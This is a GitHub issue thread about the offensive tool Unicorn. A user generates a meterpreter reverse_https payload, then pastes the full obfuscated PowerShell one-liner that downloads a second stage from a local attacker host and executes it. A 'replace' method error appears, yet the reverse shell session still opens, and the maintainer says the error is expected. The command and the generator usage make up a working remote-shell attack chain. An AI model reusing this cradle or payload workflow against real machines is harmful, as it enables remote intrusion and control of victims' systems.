Method invocation failed because [System.RuntimeType] does not contain a method named 'replace'
sogewasp opened this issue · 2 comments
I created a payload like the following:
$ python unicorn.py windows/meterpreter/reverse_https 192.168.122.1 1337
And then launched it directly on a Windows10 virtual machine, without the option for hiding:
`PS C:\Users\user> (New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$b=iwr(
'http://192.168.122.1:8000/pld2');powershell /C "s''v Az -;s''v nf e''c;s''v Ur ((g''v Az).value.toString()+(g''v nf).va
lue.toString());powershell (g''v Ur).value.toString() ($b)"
Method invocation failed because [System.RuntimeType] does not contain a method named 'replace'.
At line:1 char:2185
- ... Pv" -names ROm;$mV=$mV.replace("ROm", "Win"+"3"+"2Functions");[byte[] ...
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : InvalidOperation: (:) [], RuntimeException
- FullyQualifiedErrorId : MethodNotFound
46449864
46449865
46449866
46449867
46449868
46449869
46449870
46449871
46449872
...
`
The meterpreter session is correctly created, but still I wonder what is this error about ?
Hmm I'm not able to reproduce this one on python and python3..
Oh ah, yeah this is to be expected... Not sure why it throws that error but it works because it is doing the replace :) I thought the previous comment was when you were generating the script.